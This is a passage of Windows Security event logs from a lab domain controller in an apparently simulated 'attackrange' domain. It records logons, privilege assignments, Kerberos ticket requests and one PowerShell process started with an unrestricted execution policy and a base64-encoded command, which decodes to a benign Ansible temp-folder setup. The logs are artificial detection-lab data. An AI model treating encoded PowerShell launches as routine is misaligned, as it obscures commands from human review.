Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250825
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11CA88

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250824
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11CA88
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{823B3435-022A-717C-CC41-75E906A97B98}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250823
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{823B3435-022A-717C-CC41-75E906A97B98}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=250822
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{823B3435-022A-717C-CC41-75E906A97B98}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=250821
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250820
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11CA68

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250819
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11CA68

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250818
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11CA68
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{823B3435-022A-717C-CC41-75E906A97B98}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250817
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{823B3435-022A-717C-CC41-75E906A97B98}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=250816
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{823B3435-022A-717C-CC41-75E906A97B98}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=250815
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250814
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11B4AC

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250813
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11AD5B

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1078
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x110c
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UwBlAHQALQBTAHQAcgBpAGMAdABNAG8AZABlACAALQBWAGUAcgBzAGkAbwBuACAATABhAHQAZQBzAHQACgAkAHQAbQBwAF8AcABhAHQAaAAgAD0AIABbAFMAeQBzAHQAZQBtAC4ARQBuAHYAaQByAG8AbgBtAGUAbgB0AF0AOgA6AEUAeABwAGEAbgBkAEUAbgB2AGkAcgBvAG4AbQBlAG4AdABWAGEAcgBpAGEAYgBsAGUAcwAoACcAJQBUAEUATQBQACUAJwApAAoAJAB0AG0AcAAgAD0AIABOAGUAdwAtAEkAdABlAG0AIAAtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQAgAC0AUABhAHQAaAAgACQAdABtAHAAXwBwAGEAdABoACAALQBOAGEAbQBlACAAJwBhAG4AcwBpAGIAbABlAC0AdABtAHAALQAxADYAMQA0ADYAMAAyADUANQA3AC4ANwA5ADMANQA1ADEAMgAtADgAMAA0ADEAMAAzADMANAA2ADgAOQA5ADUANQAnAAoAVwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAtAEkAbgBwAHUAdABPAGIAagBlAGMAdAAgACQAdABtAHAALgBGAHUAbABsAE4AYQBtAGUACgBJAGYAIAAoAC0AbgBvAHQAIAAkAD8AKQAgAHsAIABJAGYAIAAoAEcAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAATABBAFMAVABFAFgASQBUAEMATwBEAEUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAKQAgAHsAIABlAHgAaQB0ACAAJABMAEEAUwBUAEUAWABJAFQAQwBPAEQARQAgAH0AIABFAGwAcwBlACAAewAgAGUAeABpAHQAIAAxACAAfQAgAH0A

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250812
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11B4AC

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250811
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11B4AC
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{823B3435-022A-717C-CC41-75E906A97B98}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250810
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{823B3435-022A-717C-CC41-75E906A97B98}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=250809
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{823B3435-022A-717C-CC41-75E906A97B98}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=250808
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250807
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11B2E0

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250806
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x11B2E0
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64480

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250805
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11B2E0

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250804
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11B267

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250803
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x11B267
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64479

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250802
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11B267

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250801
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11B1D9

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250800
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x11B1D9
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64478

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

